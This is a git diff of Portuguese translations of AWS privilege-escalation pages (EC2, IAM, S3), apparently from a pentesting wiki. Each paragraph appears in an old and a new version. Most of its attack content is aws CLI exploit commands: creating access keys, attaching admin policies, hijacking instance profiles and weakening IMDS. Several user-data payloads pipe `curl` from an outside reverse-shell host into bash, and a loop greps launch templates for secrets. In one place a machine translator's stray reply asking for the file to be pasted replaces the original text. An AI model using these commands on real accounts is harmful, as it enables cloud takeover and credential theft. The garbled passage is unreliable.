aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
Se o **instance profile tem um role** e o atacante **não consegue removê-lo**, existe outra alternativa. Ele poderia **encontrar** um **instance profile sem um role** ou **criar um novo** (`iam:CreateInstanceProfile`), **adicionar** o **role** a esse **instance profile** (como discutido anteriormente), e **associar o instance profile** comprometido a um i**nstance:**
|
||||
Se o **instance profile tiver um role** e o atacante **não puder removê-lo**, existe outra alternativa. Ele poderia **encontrar** um **instance profile sem role** ou **criar um novo** (`iam:CreateInstanceProfile`), **adicionar** o **role** àquele **instance profile** (como discutido anteriormente), e **associar o instance profile** comprometido a uma **instância** comprometida:
|
||||
|
||||
- Se o instance **não tiver nenhum instance** profile (`ec2:AssociateIamInstanceProfile`)
|
||||
- Se a instância **não tiver nenhum instance profile** (`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**Impacto Potencial:** Privesc direto para um EC2 role (você precisa ter comprometido uma AWS EC2 instance e alguma permissão extra ou status específico de instance profile).
|
||||
**Impacto Potencial:** privesc direto para uma role EC2 diferente (é necessário ter comprometido uma instância AWS EC2 e possuir permissões extras ou um status específico do instance profile).
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
Com essas permissões é possível alterar o instance profile associado a uma instance, então se o atacante já tiver acesso a uma instance ele poderá roubar credenciais de mais instance profile roles alterando o que está associado a ela.
|
||||
Com essas permissões é possível alterar o instance profile associado a uma instância, então se o atacante já tiver acesso à instância ele poderá roubar credenciais de roles de instance profile adicionais alterando o instance profile associado.
|
||||
|
||||
- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it
|
||||
- Se ela **possui um instance profile**, você pode **remover** o instance profile (`ec2:DisassociateIamInstanceProfile`) e **associá-lo**
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
- ou **replace** the **instance profile** da instância comprometida (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
- ou **substituir** o **instance profile** da instância comprometida (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
**Impacto Potencial:** Direct privesc para um EC2 role diferente (você precisa ter comprometido uma AWS EC2 instance e alguma permissão extra ou um status específico de instance profile).
|
||||
**Impacto Potencial:** privesc direto para um EC2 role diferente (você precisa ter comprometido uma AWS EC2 instance e alguma permissão extra ou status específico do instance profile).
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
Um atacante com as permissões **`ec2:RequestSpotInstances`and`iam:PassRole`** pode **solicitar** uma **Spot Instance** com um **EC2 Role anexado** e um **rev shell** no **user data**.\
|
||||
Uma vez que a instância for executada, ele pode **roubar o IAM role**.
|
||||
Um atacante com as permissões **`ec2:RequestSpotInstances`and`iam:PassRole`** pode **solicitar** uma **Spot Instance** com uma **EC2 Role attached** e um **rev shell** no **user data**.\
|
||||
Uma vez que a instance seja executada, ele pode **roubar a IAM role**.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
|
||||
```
|
||||
### `ec2:ModifyInstanceAttribute`
|
||||
|
||||
Um atacante com a **`ec2:ModifyInstanceAttribute`** pode modificar os atributos da instância. Entre eles, ele pode **alterar o user data**, o que implica que ele pode fazer a instância **executar dados arbitrários.** Isso pode ser usado para obter um **rev shell para a instância EC2**.
|
||||
Um atacante com o **`ec2:ModifyInstanceAttribute`** pode modificar os atributos das instâncias. Entre eles, ele pode **change the user data**, o que implica que pode fazer a instância **run arbitrary data.** Isso pode ser usado para obter um **rev shell to the EC2 instance**.
|
||||
|
||||
Observe que os atributos só podem ser **modificados enquanto a instância estiver parada**, então são necessárias as **permissões** **`ec2:StopInstances`** e **`ec2:StartInstances`**.
|
||||
Observe que os atributos só podem ser **modified while the instance is stopped**, portanto são necessárias as permissões **`ec2:StopInstances`** e **`ec2:StartInstances`**.
|
||||
```bash
|
||||
TEXT='Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
@@ -162,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
Um atacante com as permissões **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` e `ec2:ModifyLaunchTemplate`** pode criar uma **nova Launch Template version** com uma **rev shell no** **user data** e **qualquer EC2 IAM Role associada a ela**, alterar a versão padrão, e **qualquer Autoscaler group** **usando** essa **Launch Template** que esteja **configurada** para usar a **latest** ou a **default version** irá **re-executar as instâncias** usando esse template e executará a rev shell.
|
||||
Um atacante com as permissões **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** pode criar uma **nova Launch Template version** com um **rev shell in** o **user data** e **qualquer EC2 IAM Role on it**, alterar a **default version**, e **qualquer Autoscaler group** **using** esse **Launch Template** que esteja **configured** para usar a **latest** ou a **default version** irá **re-run the instances** usando esse template e executará o rev shell.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
|
||||
--launch-template-name bad_template \
|
||||
--default-version 2
|
||||
```
|
||||
**Impacto Potencial:** privesc direto para um EC2 role diferente.
|
||||
**Impacto Potencial:** Privesc direto para um EC2 role diferente.
|
||||
|
||||
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
|
||||
|
||||
Um atacante com as permissões **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateLaunchAutoScalingGroup`,`iam:PassRole`** pode **criar uma Launch Configuration** com uma **IAM Role** e um **rev shell** dentro do **user data**, então **criar um autoscaling group** a partir dessa config e aguardar o rev shell **roubar a IAM Role**.
|
||||
Um atacante com as permissões **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** pode **criar uma Launch Configuration** com um **IAM Role** e um **rev shell** dentro do **user data**, então **criar um autoscaling group** a partir dessa configuração e esperar que o rev shell **roube o IAM Role**.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
|
||||
--desired-capacity 1 \
|
||||
--vpc-zone-identifier "subnet-e282f9b8"
|
||||
```
|
||||
**Impacto Potencial:** Privesc direto para um EC2 role diferente.
|
||||
**Impacto Potencial:** Privesc direto para uma role EC2 diferente.
|
||||
|
||||
### `!autoscaling`
|
||||
|
||||
O conjunto de permissões **`ec2:CreateLaunchTemplate`** e **`autoscaling:CreateAutoScalingGroup`** **não é suficiente para escalar privilégios** para um IAM role porque, para anexar o role especificado no Launch Configuration ou no Launch Template, **você precisa das permissões `iam:PassRole` e `ec2:RunInstances`** (o que é um privesc conhecido).
|
||||
O conjunto de permissões **`ec2:CreateLaunchTemplate`** e **`autoscaling:CreateAutoScalingGroup`** **não é suficiente para escalar** privilégios para uma IAM role porque, para anexar a role especificada na Launch Configuration ou na Launch Template, **você precisa das permissões `iam:PassRole` e `ec2:RunInstances`** (que é um privesc conhecido).
|
||||
|
||||
### `ec2-instance-connect:SendSSHPublicKey`
|
||||
|
||||
Um atacante com a permissão **`ec2-instance-connect:SendSSHPublicKey`** pode adicionar uma chave ssh a um usuário e usá-la para acessar a instância (se tiver acesso ssh à instância) ou para escalar privilégios.
|
||||
Um atacante com a permissão **`ec2-instance-connect:SendSSHPublicKey`** pode adicionar uma ssh key a um usuário e usá‑la para acessá‑lo (se tiver acesso ssh à instância) ou para escalar privilégios.
|
||||
```bash
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-os-user "ec2-user" \
|
||||
--ssh-public-key "file://$PUBK_PATH"
|
||||
```
|
||||
**Impacto Potencial:** Privesc direto aos EC2 IAM roles associados às instâncias em execução.
|
||||
**Impacto Potencial:** Privesc direto aos EC2 IAM roles anexados às instâncias em execução.
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
Um atacante com a permissão **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** pode **adicionar uma chave ssh a uma conexão serial**. Se o console serial não estiver habilitado, o atacante precisa da permissão **`ec2:EnableSerialConsoleAccess` para habilitá-lo**.
|
||||
Um atacante com a permissão **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** pode **adicionar uma chave ssh a uma conexão serial**. Se a console serial não estiver habilitada, o atacante precisa da permissão **`ec2:EnableSerialConsoleAccess` para habilitá-la**.
|
||||
|
||||
Para conectar à porta serial você também **precisa saber o username e password de um usuário** dentro da máquina.
|
||||
Para conectar-se à porta serial você também **precisa saber o nome de usuário e a senha de um usuário** dentro da máquina.
|
||||
```bash
|
||||
aws ec2 enable-serial-console-access
|
||||
|
||||
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
|
||||
|
||||
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
|
||||
```
|
||||
Essa forma não é tão útil para privesc, pois é preciso conhecer um nome de usuário e uma senha para explorá-la.
|
||||
Este método não é muito útil para privesc, pois você precisa conhecer um nome de usuário e uma senha para explorá-lo.
|
||||
|
||||
**Impacto Potencial:** (Altamente improvável de provar) Privesc direto às IAM roles do EC2 anexadas às instâncias em execução.
|
||||
**Impacto Potencial:** (Altamente difícil de provar) Privesc direto para os EC2 IAM roles anexados às instâncias em execução.
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
Como os launch templates têm versionamento, um atacante com **`ec2:describe-launch-templates`** e **`ec2:describe-launch-template-versions`** poderia explorá-los para descobrir informações sensíveis, como credenciais presentes em user data. Para isso, o script abaixo percorre todas as versões dos launch templates disponíveis:
|
||||
Como os launch templates têm versionamento, um atacante com permissões **`ec2:describe-launch-templates`** e **`ec2:describe-launch-template-versions`** poderia explorá-los para descobrir informações sensíveis, como credenciais presentes em user data. Para isso, o script a seguir percorre todas as versões dos launch templates disponíveis:
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
@@ -250,19 +250,23 @@ done
|
||||
```
|
||||
Nos comandos acima, embora estejamos especificando certos padrões (`aws_|password|token|api`), você pode usar uma regex diferente para procurar outros tipos de informações sensíveis.
|
||||
|
||||
Supondo que encontremos `aws_access_key_id` e `aws_secret_access_key`, podemos usar essas credenciais para autenticar na AWS.
|
||||
Assumindo que encontremos `aws_access_key_id` e `aws_secret_access_key`, podemos usar essas credenciais para autenticar na AWS.
|
||||
|
||||
**Impacto Potencial:** Escalada direta de privilégios para usuário(s) IAM.
|
||||
**Impacto potencial:** Escalada direta de privilégios para usuário(s) IAM.
|
||||
|
||||
## Referências
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions` (rebaixamento do IMDS para permitir roubo de credenciais via SSRF)
|
||||
|
||||
Um atacante com a capacidade de chamar `ec2:ModifyInstanceMetadataOptions` em uma instância EC2 vítima pode enfraquecer as proteções do IMDS habilitando IMDSv1 (`HttpTokens=optional`) e aumentando o `HttpPutResponseHopLimit`. Isso torna o endpoint de metadata da instância alcançável via caminhos comuns de SSRF/proxy a partir de aplicações em execução na instância. Se o atacante conseguir disparar um SSRF em tal app, ele pode recuperar as credenciais do instance profile e pivotar com elas.
|
||||
|
||||
- Permissões necessárias: `ec2:ModifyInstanceMetadataOptions` na instância alvo (mais a habilidade de alcançar/acionar um SSRF no host).
|
||||
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions` (rebaixamento do IMDS para permitir SSRF e roubo de credenciais)
|
||||
|
||||
Um atacante com a capacidade de chamar `ec2:ModifyInstanceMetadataOptions` em uma instância EC2 vítima pode enfraquecer as proteções do IMDS ao habilitar o IMDSv1 (`HttpTokens=optional`) e aumentar o `HttpPutResponseHopLimit`. Isso torna o endpoint de metadata da instância alcançável via caminhos comuns de SSRF/proxy a partir de aplicações executando na instância. Se o atacante conseguir disparar um SSRF em tal app, ele pode recuperar as credenciais do instance profile e pivotar com elas.
|
||||
|
||||
- Permissões requeridas: `ec2:ModifyInstanceMetadataOptions` na instância alvo (além da capacidade de alcançar/acionar um SSRF no host).
|
||||
- Recurso alvo: A instância EC2 em execução com um instance profile anexado (IAM role).
|
||||
|
||||
Exemplo de comandos:
|
||||
@@ -292,11 +296,11 @@ aws sts get-caller-identity
|
||||
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
|
||||
--http-tokens required --http-put-response-hop-limit 1
|
||||
```
|
||||
Impacto potencial: Roubo de credenciais do instance profile via SSRF levando à elevação de privilégios e movimento lateral com as permissões do EC2 role.
|
||||
Impacto potencial: Roubo das credenciais do instance profile via SSRF, levando a privilege escalation e lateral movement com as permissões do role EC2.
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions`
|
||||
|
||||
Um atacante com a permissão `ec2:ModifyInstanceMetadataOptions` pode enfraquecer as proteções do Instance Metadata Service (IMDS) — por exemplo forçando IMDSv1 (tornando HttpTokens não obrigatórios) ou aumentando HttpPutResponseHopLimit — facilitando assim a exfiltração de credenciais temporárias. O vetor de risco mais relevante é aumentar HttpPutResponseHopLimit: ao incrementar esse hop limit (TTL), o endpoint 169.254.169.254 deixa de ficar estritamente limitado ao namespace de rede da VM e pode tornar-se acessível por outros processos/contêineres, permitindo o roubo de credenciais.
|
||||
Um atacante com a permissão ec2:ModifyInstanceMetadataOptions pode enfraquecer as proteções do Instance Metadata Service (IMDS) — por exemplo forçando IMDSv1 (tornando HttpTokens não obrigatórios) ou aumentando HttpPutResponseHopLimit — facilitando assim a exfiltration de credenciais temporárias. O vetor de risco mais relevante é aumentar HttpPutResponseHopLimit: ao elevar esse limite de hops (TTL), o endpoint 169.254.169.254 deixa de estar estritamente limitado ao namespace de rede da VM e pode tornar‑se alcançável por outros processos/containers, permitindo credential theft.
|
||||
```bash
|
||||
aws ec2 modify-instance-metadata-options \
|
||||
--instance-id <INSTANCE_ID> \
|
||||
@@ -306,7 +310,7 @@ aws ec2 modify-instance-metadata-options \
|
||||
```
|
||||
### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
|
||||
|
||||
Um atacante com as permissões ec2:ModifyImageAttribute e ec2:ModifySnapshotAttribute pode compartilhar AMIs ou snapshots com outras contas AWS (ou até torná-los públicos), expondo imagens ou volumes que podem conter dados sensíveis, como configurações, credenciais, certificados ou backups. Ao modificar as permissões de launch de uma AMI ou as permissões de create-volume de um snapshot, o atacante permite que terceiros iniciem instâncias ou montem discos a partir desses recursos e acessem seu conteúdo.
|
||||
Um atacante com as permissões ec2:ModifyImageAttribute e ec2:ModifySnapshotAttribute pode compartilhar AMIs ou snapshots com outras contas AWS (ou até torná-los públicos), expondo imagens ou volumes que podem conter dados sensíveis, como configurações, credenciais, certificados ou backups. Ao modificar as permissões de inicialização de uma AMI ou as permissões de criação de volume de um snapshot, o atacante permite que terceiros iniciem instâncias ou montem discos a partir desses recursos e acessem seus conteúdos.
|
||||
|
||||
Para compartilhar uma AMI com outra conta:
|
||||
```bash
|
||||
|
||||
@@ -12,38 +12,38 @@ Para mais informações sobre IAM, consulte:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
Concede a capacidade de criar uma nova versão de IAM policy, contornando a necessidade da permissão `iam:SetDefaultPolicyVersion` ao usar a flag `--set-as-default`. Isso permite definir permissões customizadas.
|
||||
Concede a capacidade de criar uma nova versão de IAM policy, contornando a necessidade da permissão `iam:SetDefaultPolicyVersion` ao usar a flag `--set-as-default`. Isso permite definir permissões personalizadas.
|
||||
|
||||
**Exploit Command:**
|
||||
**Comando de Exploração:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**Impact:** Escalona privilégios diretamente, permitindo qualquer ação em qualquer recurso.
|
||||
**Impacto:** Escala privilégios diretamente ao permitir qualquer ação em qualquer recurso.
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
Permite alterar a versão padrão de uma política do IAM para outra versão existente, potencialmente escalando privilégios se a nova versão tiver mais permissões.
|
||||
|
||||
**Comando Bash:**
|
||||
**Bash Command:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**Impacto:** Indirect privilege escalation ao permitir mais permissões.
|
||||
**Impacto:** Elevação de privilégios indireta por permitir conceder mais permissões.
|
||||
|
||||
### **`iam:CreateAccessKey`**
|
||||
|
||||
Permite criar access key ID e secret access key para outro usuário, levando a uma potencial privilege escalation.
|
||||
Permite criar access key ID e secret access key para outro usuário, levando a possível elevação de privilégios.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**Impacto:** Escalada direta de privilégios ao assumir as permissões estendidas de outro usuário.
|
||||
**Impact:** Escalada de privilégios direta ao assumir as permissões ampliadas de outro usuário.
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
Permite criar ou atualizar um perfil de login, incluindo definir senhas para login no console AWS, levando a uma escalada direta de privilégios.
|
||||
Permite criar ou atualizar um perfil de login, incluindo definir senhas para login no console da AWS, levando a escalada de privilégios direta.
|
||||
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
@@ -55,17 +55,17 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Impacto:** Escalada direta de privilégios ao fazer login como qualquer usuário.
|
||||
**Impact:** Escalada de privilégios direta ao fazer login como "qualquer" usuário.
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
Permite habilitar uma chave de acesso desativada, potencialmente levando a acesso não autorizado se o atacante possuir a chave desativada.
|
||||
Permite habilitar uma access key desativada, potencialmente levando ao acesso não autorizado se o atacante possuir a access key desativada.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**Impact:** Escalada direta de privilégios ao reativar chaves de acesso.
|
||||
**Impacto:** Escalada direta de privilégios reativando access keys.
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
@@ -75,17 +75,17 @@ Permite gerar ou redefinir credenciais para serviços específicos da AWS (por e
|
||||
```bash
|
||||
aws iam create-service-specific-credential --user-name <username> --service-name <service>
|
||||
```
|
||||
**Exploit para Reset:**
|
||||
**Exploit para Redefinição:**
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Impacto:** Escalada direta de privilégios dentro das permissões de serviço do usuário.
|
||||
**Impacto:** Direct privilege escalation dentro das permissões de serviço do usuário.
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
Permite anexar policies a usuários ou grupos, escalando privilégios diretamente ao herdar as permissões da policy anexada.
|
||||
Permite anexar políticas a usuários ou grupos, directly escalating privileges ao herdar as permissões da política anexada.
|
||||
|
||||
**Exploit para o usuário:**
|
||||
**Exploit para Usuário:**
|
||||
```bash
|
||||
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```
|
||||
@@ -93,11 +93,11 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Impact:** Direct privilege escalation para qualquer coisa que a policy conceda.
|
||||
**Impacto:** Direct privilege escalation para qualquer coisa que a política conceda.
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
Permite anexar ou aplicar policies a roles, users ou groups, permitindo direct privilege escalation ao conceder permissões adicionais.
|
||||
Permite anexar ou aplicar políticas a roles, users ou groups, permitindo direct privilege escalation ao conceder permissões adicionais.
|
||||
|
||||
**Exploit for Role:**
|
||||
```bash
|
||||
@@ -114,7 +114,12 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
|
||||
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
|
||||
--policy-document file:///path/to/policy.json
|
||||
```
|
||||
Você pode usar uma política como:
|
||||
Por favor, cole o conteúdo do arquivo src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md que você quer traduzir.
|
||||
|
||||
Observações rápidas:
|
||||
- Vou traduzir somente o texto em inglês relevante para Português.
|
||||
- Não vou traduzir código, nomes de técnicas, termos como aws/gcp/Workspace, links, paths, tags markdown/html, refs nem quaisquer identificadores que você listou nas instruções.
|
||||
- Manterei exatamente a mesma sintaxe markdown/html.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -127,28 +132,28 @@ Você pode usar uma política como:
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impacto:** Direct privilege escalation ao adicionar permissões através de políticas.
|
||||
**Impact:** Escalada direta de privilégios ao adicionar permissões por meio de políticas.
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
Permite adicionar a si mesmo a um grupo IAM, escalating privileges ao herdar as permissões do grupo.
|
||||
Permite adicionar a si mesmo a um grupo IAM, escalando privilégios ao herdar as permissões do grupo.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
**Impacto:** Escalada de privilégios direta ao nível das permissões do grupo.
|
||||
**Impact:** Escalada direta de privilégios ao nível das permissões do grupo.
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
Permite alterar o documento da assume role policy de um role, permitindo a assunção desse role e de suas permissões associadas.
|
||||
Permite alterar o documento de política de assume role de uma role, habilitando a assunção da role e suas permissões associadas.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
Quando a política for como a seguinte, que concede ao usuário permissão para assumir a função:
|
||||
Quando a policy se parecer com o seguinte, o que dá ao usuário permissão para assumir a role:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -173,28 +178,28 @@ Permite enviar uma chave pública SSH para autenticação no CodeCommit e desati
|
||||
```bash
|
||||
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
|
||||
```
|
||||
**Exploit para Desativação de MFA:**
|
||||
**Exploit para desativação de MFA:**
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**Impacto:** Escalação de privilégios indireta ao habilitar acesso ao CodeCommit ou desabilitar a proteção MFA.
|
||||
**Impacto:** Indirect privilege escalation ao permitir acesso ao CodeCommit ou desativar a proteção MFA.
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
Permite ressincronizar um dispositivo MFA, o que pode levar a uma escalação de privilégios indireta ao manipular a proteção MFA.
|
||||
Permite a ressincronização de um dispositivo MFA, potencialmente levando a indirect privilege escalation ao manipular a proteção MFA.
|
||||
|
||||
**Bash Command:**
|
||||
**Comando Bash:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Impacto:** Indirect privilege escalation por adicionar ou manipular dispositivos MFA.
|
||||
**Impacto:** Escalação de privilégios indireta ao adicionar ou manipular dispositivos MFA.
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
Com essas permissões você pode **alterar os metadados XML da conexão SAML**. Em seguida, você poderia abusar da **SAML federation** para **login** com qualquer **role que confia nela**.
|
||||
Com essas permissões você pode **alterar os metadados XML da conexão SAML**. Em seguida, você poderia abusar da **SAML federation** para **login** com qualquer **role que confie nela**.
|
||||
|
||||
Observe que ao fazer isso **usuários legítimos não poderão fazer login**. No entanto, você pode obter o XML, substituir pelo seu, fazer login e restaurar a configuração anterior.
|
||||
Observe que, ao fazer isso, **usuários legítimos não poderão fazer login**. No entanto, você poderia obter o XML, colocar o seu, fazer login e restaurar a configuração anterior.
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -215,7 +220,7 @@ aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-prov
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(Não tenho certeza sobre isso) Se um atacante tiver essas **permissões** ele poderia adicionar um novo **Thumbprint** para conseguir efetuar login em todas as roles que confiam no provedor.
|
||||
(Não tenho certeza sobre isto) Se um atacante tiver estas **permissões** ele poderia adicionar um novo **Thumbprint** para conseguir efetuar login em todos os roles que confiam no provider.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -226,7 +231,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
Esta permissão permite que um atacante atualize o limite de permissões de um usuário, potencialmente escalando seus privilégios ao permitir que ele execute ações que normalmente são restritas pelas permissões existentes.
|
||||
Esta permissão permite que um atacante atualize o limite de permissões (permissions boundary) de um usuário, potencialmente escalando seus privilégios ao permitir que ele execute ações que normalmente são restritas pelas permissões existentes.
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
@@ -249,7 +254,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
Um ator com iam:PutRolePermissionsBoundary pode definir um permissions boundary em um role existente. O risco surge quando alguém com essa permissão altera o boundary do role: ele pode restringir operações de forma imprópria (causando interrupção de serviço) ou, se anexar um boundary permissivo, efetivamente ampliar o que o role pode fazer e escalar privilégios.
|
||||
Um ator com iam:PutRolePermissionsBoundary pode definir um permissions boundary em uma role existente. O risco surge quando alguém com essa permissão altera o permissions boundary de uma role: essa pessoa pode restringir operações de forma indevida (causando interrupção de serviço) ou, se anexar um permissions boundary permissivo, efetivamente ampliar o que a role pode fazer e escalar privilégios.
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
|
||||
@@ -6,9 +6,9 @@
|
||||
|
||||
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
|
||||
|
||||
Um atacante com essas permissões sobre buckets interessantes pode ser capaz de sequestrar recursos e escalar privilégios.
|
||||
Um atacante com essas permissões em buckets interessantes pode ser capaz de sequestrar recursos e escalar privilégios.
|
||||
|
||||
Por exemplo, um atacante com essas **permissões sobre um bucket cloudformation** chamado "cf-templates-nohnwfax6a6i-us-east-1" será capaz de sequestrar a implantação. O acesso pode ser dado com a seguinte política:
|
||||
Por exemplo, um atacante com essas **permissões sobre um cloudformation bucket** chamado "cf-templates-nohnwfax6a6i-us-east-1" poderá sequestrar o deployment. O acesso pode ser concedido com a seguinte policy:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -34,28 +34,27 @@ Por exemplo, um atacante com essas **permissões sobre um bucket cloudformation*
|
||||
]
|
||||
}
|
||||
```
|
||||
E o hijack é possível porque existe uma **pequena janela de tempo desde o momento em que o template é enviado** para o bucket até o momento em que o **template é implantado**. Um atacante pode simplesmente criar uma **lambda function** em sua conta que **dispara quando uma notification do bucket é enviada**, e **hijacks** o **conteúdo** desse **bucket**.
|
||||
E a interceptação é possível porque existe uma **pequena janela de tempo desde o momento em que o template é enviado** para o bucket até o momento em que o **template é implantado**. Um atacante pode simplesmente criar uma **lambda function** em sua conta que será **acionada quando uma notificação do bucket for enviada**, e **sequestra** o **conteúdo** desse **bucket**.
